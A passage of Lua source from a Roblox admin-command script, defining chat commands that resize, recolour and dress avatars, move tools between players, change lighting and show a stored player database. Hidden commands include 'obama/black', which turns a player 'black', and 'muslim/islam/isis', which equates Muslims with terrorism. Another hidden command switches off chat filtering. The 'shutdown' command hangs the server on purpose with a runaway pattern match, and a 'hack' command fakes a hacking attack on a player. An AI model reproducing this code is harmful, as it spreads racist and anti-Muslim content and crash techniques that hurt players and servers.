7045 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
7046 local List = {}
7047 for _,Region in pairs(ToolRegions) do
7048 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
7049 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
7050 end)
7051 end
7052
7053 GUI:ListGui(Speaker, "Tool list", List, 73589272)
7054 end};
7055
7056 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
7057 local Players = STRING:Scan(Arguments[1], Speaker)
7058 for _,Player in pairs(Players) do
7059 CORE:GiveTools(Player, "btools")
7060 end
7061 end};
7062
7063 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
7064 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
7065 for _,Player in pairs(Server.Players:GetPlayers()) do
7066 Player:Kick()
7067 end
7068 Server.Workspace:ClearAllChildren()
7069 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
7070 end};
7071
7072 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
7073 local Players = STRING:Scan(Arguments[1], Speaker)
7074 for _,Player in pairs(Players) do
7075 CORE:Scale(Player, Arguments[2])
7076 end
7077 end};
7078
7079 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
7080 local Players = STRING:Scan(Arguments[1], Speaker)
7081 for _,Player in pairs(Players) do
7082 CORE:Scale(Player, 50)
7083 end
7084 end};
7085
7086 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
7087 local Players = STRING:Scan(Arguments[1], Speaker)
7088 for _,Player in pairs(Players) do
7089 CORE:Scale(Player, 70)
7090 end
7091 end, Hidden = true};
7092
7093 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
7094 local Players = STRING:Scan(Arguments[1], Speaker)
7095 for _,Player in pairs(Players) do
7096 CORE:Scale(Player, 500)
7097 end
7098 end};
7099
7100 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
7101 local Players = STRING:Scan(Arguments[1], Speaker)
7102 for _,Player in pairs(Players) do
7103 if Player.Character then
7104 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7105 Obj.Reflectance = 0.5
7106 Obj.BrickColor = BrickColor.new("New Yeller")
7107 end)
7108 end
7109 end
7110 end};
7111
7112 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
7113 local Players = STRING:Scan(Arguments[1], Speaker)
7114 for _,Player in pairs(Players) do
7115 if Player.Character then
7116 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7117 Obj.Reflectance = 0.5
7118 end)
7119 end
7120 end
7121 end};
7122
7123 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
7124 local Players = STRING:Scan(Arguments[1], Speaker)
7125 for _,Player in pairs(Players) do
7126 if Player.Character then
7127 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7128 Obj.Transparency = 0.5
7129 Obj.Reflectance = 0
7130 Obj.BrickColor = BrickColor.new("Institutional white")
7131 end)
7132 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
7133 Obj.Transparency = 0.5
7134 end)
7135 end
7136 end
7137 end};
7138
7139 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
7140 local Players = STRING:Scan(Arguments[1], Speaker)
7141 for _,Player in pairs(Players) do
7142 if Player.Character then
7143 for _,Obj in pairs(Player.Character:GetChildren()) do
7144 local Valid = false
7145 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7146 if Valid == true then Obj:Destroy() end
7147 end
7148 end
7149 end
7150 end};
7151
7152 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
7153 local Players = STRING:Scan(Arguments[1], Speaker)
7154 for _,Player in pairs(Players) do
7155 if Player.Character then
7156 for _,Obj in pairs(Player.Character:GetChildren()) do
7157 local Valid = false
7158 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
7159 if Valid == true then Obj:Destroy() end
7160 end
7161 end
7162 end
7163 end};
7164
7165 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
7166 local Players = STRING:Scan(Arguments[1], Speaker)
7167 for _,Player in pairs(Players) do
7168 if Player.Character then
7169 for _,Obj in pairs(Player.Character:GetChildren()) do
7170 local Valid = false
7171 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7172 if Valid == true then Obj:Destroy() end
7173 end
7174 end
7175 end
7176 end};
7177
7178 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
7179 local Players = STRING:Scan(Arguments[1], Speaker)
7180 for _,Player in pairs(Players) do
7181 if Player.Character then
7182 for _,Obj in pairs(Player.Character:GetChildren()) do
7183 if Obj:IsA("Accoutrement") then
7184 Obj:Destroy()
7185 end
7186 end
7187 end
7188 end
7189 end};
7190
7191 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7192 local Players = STRING:Scan(Arguments[1], Speaker)
7193 for _,Player in pairs(Players) do
7194 Player:ClearCharacterAppearance()
7195 end
7196 end};
7197
7198 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7199 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7200 local TmpPlayers = {}
7201 local Output = {}
7202 for _,Data in pairs(Players) do
7203 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7204 end
7205 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7206 end};
7207
7208 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7209 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7210 GUI:SendHint(Speaker, "Player Database cleared", 5)
7211 end};
7212
7213 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7214 local Players = STRING:Scan(Arguments[1], Speaker)
7215 for _,Player in pairs(Players) do
7216 GUI:FakeHack(Player)
7217 end
7218 end};
7219
7220 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7221 local Players = STRING:Scan(Arguments[1], Speaker)
7222 for _,Player in pairs(Players) do
7223 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7224 for _,Object in pairs(Player.Backpack:GetChildren()) do
7225 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7226 local Clone = Object:Clone()
7227 Clone.Parent = Speaker.Backpack
7228 end
7229 end
7230 end
7231 end
7232 end};
7233
7234 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7235 local Players = STRING:Scan(Arguments[1], Speaker)
7236 for _,Player in pairs(Players) do
7237 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7238 for _,Object in pairs(Player.Backpack:GetChildren()) do
7239 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7240 Object.Parent = Speaker.Backpack
7241 end
7242 end
7243 end
7244 end
7245 end};
7246
7247 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7248 local Players = STRING:Scan(Arguments[1], Speaker)
7249 for _,Player in pairs(Players) do
7250 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7251 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7252 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7253 local Clone = Object:Clone()
7254 Clone.Parent = Player.Backpack
7255 end
7256 end
7257 end
7258 end
7259 end};
7260
7261 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7262 local Players = STRING:Scan(Arguments[1], Speaker)
7263 for _,Player in pairs(Players) do
7264 if Player:FindFirstChild("Backpack") then
7265 Player.Backpack:ClearAllChildren()
7266 end
7267 if Player.Character ~= nil then
7268 for _,Obj in pairs(Player.Character:GetChildren()) do
7269 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7270 Obj:Destroy()
7271 end
7272 end
7273 end
7274 end
7275 end};
7276
7277 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7278 local Players = STRING:Scan(Arguments[1], Speaker)
7279 for _,Player in pairs(Players) do
7280 if Player.Character then
7281 if Player.Character:FindFirstChild("Head") then
7282 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7283 coroutine.wrap(function()
7284 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7285 local OldFace = Player.Character.Head.face.Texture
7286 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7287 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7288 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7289 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7290 Sound:Play()
7291 coroutine.wrap(function() for i = 1,100 do wait()
7292 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7293 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7294 end
7295 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7296 end end
7297 end)()
7298 end
7299 end
7300 end
7301 end
7302 end};
7303
7304 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7305 local Players = STRING:Scan(Arguments[1], Speaker)
7306 for _,Player in pairs(Players) do
7307 if Player.Character then
7308 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7309 coroutine.wrap(function()
7310 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7311 local OldFace = Player.Character.Head.face.Texture
7312 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7313 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7314 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7315 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7316 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7317 Sound:Play()
7318 wait(1)
7319 Smoke.Enabled = false
7320 wait(1)
7321 Fart:Destroy()
7322 Fart:Destroy()
7323 Player.Character.Head.face.Texture = OldFace
7324 end end
7325 end)()
7326 end
7327 end
7328 end
7329 end};
7330
7331 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7332 local Players = STRING:Scan(Arguments[1], Speaker)
7333 for _,Player in pairs(Players) do
7334 if Player:FindFirstChild("Backpack") then
7335 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7336 end
7337 end
7338 end};
7339
7340 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7341 local Players = STRING:Scan(Arguments[1], Speaker)
7342 for _,Player in pairs(Players) do
7343 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7344 Player.Character.MMLGraffiti:ClearAllChildren()
7345 end
7346 end
7347 end};
7348
7349 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7350 local Players = STRING:Scan(Arguments[1], Speaker)
7351 for _,Player in pairs(Players) do
7352 if Player.Character and Player.Character:FindFirstChild("Torso") then
7353 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7354 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7355 end
7356 end
7357 end};
7358
7359 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7360 local Players = STRING:Scan(Arguments[1], Speaker)
7361 for _,Player in pairs(Players) do
7362 if Player.Character and Player.Character:FindFirstChild("Torso") then
7363 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7364 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7365 end
7366 end
7367 end};
7368
7369 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7370 local Players = STRING:Scan(Arguments[1], Speaker)
7371 for _,Player in pairs(Players) do
7372 if Player.Character and Player.Character:FindFirstChild("Torso") then
7373 local Lights = {}
7374 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7375 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7376 table.insert(Lights, Obj)
7377 end
7378 end
7379 for _,Light in pairs(Lights) do
7380 coroutine.wrap(function()
7381 for i = 1,20 do
7382 Light.Brightness = Light.Brightness/5
7383 wait()
7384 end
7385 Light:Destroy()
7386 end)()
7387 end
7388 end
7389 end
7390 end};
7391
7392 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7393 local Players = STRING:Scan(Arguments[1], Speaker)
7394 for _,Player in pairs(Players) do
7395 if Player.Character and Player:FindFirstChild("PlayerGui") then
7396 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7397 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7398 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7399 local Stop = false
7400 coroutine.wrap(function()
7401 repeat
7402 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7403 wait(0.1)
7404 until not SG or not SG.Parent
7405 end)()
7406 CORE:ExecuteResource("Drug", Player.Character)
7407 end
7408 end
7409 end};
7410
7411 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7412 local Players = STRING:Scan(Arguments[1], Speaker)
7413 for _,Player in pairs(Players) do
7414 if Player:FindFirstChild("PlayerGui") then
7415 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7416 wait() CORE:RestoreCamera(Player)
7417 end
7418 end
7419 end};
7420
7421 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7422 local AbuseMode = false
7423 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7424 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7425 if Speaker:FindFirstChild("Backpack") then
7426 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7427 end
7428 end)
7429 end, Http = true};
7430
7431 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7432 local Type = "all"
7433 local Query = string.lower(Arguments[1])
7434 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7435 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7436 Type = Arguments[1]
7437 Query = Arguments[2]
7438 end
7439 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7440 if Speaker.Character then
7441 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7442 end
7443 end, MARKET:AccessoryToSubcategory(Type))
7444 end, Http = true};
7445
7446 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7447 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7448 if Speaker.Character then
7449 CORE:GivePackage(Speaker, ID)
7450 end
7451 end, 11)
7452 end, Http = false};
7453
7454 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7455 local Players = STRING:Scan(Arguments[1], Speaker)
7456 for _,Player in pairs(Players) do
7457 CORE:GivePackage(Player)
7458 end
7459 end};
7460
7461 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7462 local Players = STRING:Scan(Arguments[1], Speaker)
7463 for _,Player in pairs(Players) do
7464 CORE:GivePackage(Player, Arguments[2])
7465 end
7466 end, Http = false};
7467
7468 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7469 local Players = STRING:Scan(Arguments[1], Speaker)
7470 for _,Player in pairs(Players) do
7471 local Stats = Player:FindFirstChild("leaderstats")
7472 if Stats ~= nil then
7473 for _,Stat in pairs(Stats:GetChildren()) do
7474 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7475 ypcall(function() Stat.Value = Arguments[3] end)
7476 end
7477 end
7478 end
7479 end
7480 end};
7481
7482 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7483 local ID = tonumber(Arguments[2])
7484 local Players = STRING:Scan(Arguments[1], Speaker)
7485 for _,Player in pairs(Players) do
7486 for _,Player in pairs(Players) do
7487 if Player.Character ~= nil then
7488 local Obj = Player.Character:FindFirstChild("Shirt")
7489 if Obj then
7490 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7491 else
7492 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7493 end
7494 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7495 end
7496 end
7497 end
7498 end};
7499
7500 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7501 local ID = tonumber(Arguments[2])
7502 local Players = STRING:Scan(Arguments[1], Speaker)
7503 for _,Player in pairs(Players) do
7504 for _,Player in pairs(Players) do
7505 if Player.Character ~= nil then
7506 local Obj = Player.Character:FindFirstChild("Pants")
7507 if Obj then
7508 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7509 else
7510 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7511 end
7512 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7513 end
7514 end
7515 end
7516 end};
7517
7518 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7519 local ID = tonumber(Arguments[2])
7520 local Players = STRING:Scan(Arguments[1], Speaker)
7521 for _,Player in pairs(Players) do
7522 for _,Player in pairs(Players) do
7523 if Player.Character ~= nil then
7524 if Player.Character:FindFirstChild("Torso") then
7525 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7526 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7527 if Obj1 then
7528 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7529 else
7530 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7531 end
7532 if Obj2 then
7533 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7534 else
7535 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7536 end
7537 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7538 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7539 end
7540 end
7541 end
7542 end
7543 end};
7544
7545 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7546 local Players = STRING:Scan(Arguments[1], Speaker)
7547 for _,Player in pairs(Players) do
7548 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7549 end
7550 end};
7551
7552 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7553 if CORE:InAdminGroup(Speaker) then
7554 local Players = STRING:Scan(Arguments[1], Speaker)
7555 for _,Player in pairs(Players) do
7556 if Player:FindFirstChild("Backpack") then
7557 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7558 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7559 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7560 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7561 CORE:ExecuteResource("CookieTool", Tool)
7562 end
7563 end
7564 end
7565 end};
7566
7567 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7568 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7569 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7570 end
7571 end};
7572
7573 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7574 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7575 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7576 Model:MakeJoints()
7577 for i = 1,math.random(10,20) do
7578 Model.Name = Model.Name..string.char(math.random(97,122))
7579 end
7580 if Model:GetChildren()[1] then
7581 table.insert(Objects, Model)
7582 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7583 end
7584 end
7585 end};
7586
7587 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7588 local ID = tonumber(Arguments[2])
7589 local Players = STRING:Scan(Arguments[1], Speaker)
7590 for _,Player in pairs(Players) do
7591 if Player.Character then
7592 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7593 end
7594 end
7595 end};
7596
7597 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7598 local Players = STRING:Scan(Arguments[1], Speaker)
7599 for _,Player in pairs(Players) do
7600 if Player.Character then
7601 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7602 if StopAnim then StopAnim:Destroy() end
7603 end
7604 end
7605 end};
7606
7607 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7608 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7609 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7610 end
7611 end};
7612
7613 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7614 if tonumber(Arguments[1]) then
7615 Server.Lighting.Brightness = tonumber(Arguments[1])
7616 end
7617 end};
7618
7619 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7620 local Players = STRING:Scan(Arguments[1], Speaker)
7621 for _,Player in pairs(Players) do
7622 GUI:CoreGui(Player, "PlayerList", true)
7623 end
7624 end};
7625
7626 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7627 local Players = STRING:Scan(Arguments[1], Speaker)
7628 for _,Player in pairs(Players) do
7629 local Players = STRING:Scan(Arguments[1], Speaker)
7630 GUI:CoreGui(Player, "PlayerList", false)
7631 end
7632 end};
7633
7634 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7635 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7636 end, Hidden = true};
7637
7638 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7639 local Players = STRING:Scan(Arguments[1], Speaker)
7640 for _,Player in pairs(Players) do
7641 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7642 end
7643 end, Hidden = true};
7644
7645 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7646 local Players = STRING:Scan(Arguments[1], Speaker)
7647 for _,Player in pairs(Players) do
7648 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7649 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7650 Player:ClearCharacterAppearance()
7651 CORE:Insert(12436480, Player.Character, true)
7652 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7653 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7654 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7655 end
7656 end
7657 end, Hidden = true};
7658
7659 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7660 local Players = STRING:Scan(Arguments[1], Speaker)
7661 for _,Player in pairs(Players) do
7662 CORE:ChangeCharacter(Player, 0, false, Speaker)
7663 end
7664 end};
7665
7666 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7667 ShouldFilter = false
7668 end, Hidden = true};
7669
7670 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7671 local Bet = Arguments[1]
7672 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7673 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7674 elseif #Bet > 5 then
7675 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7676 else
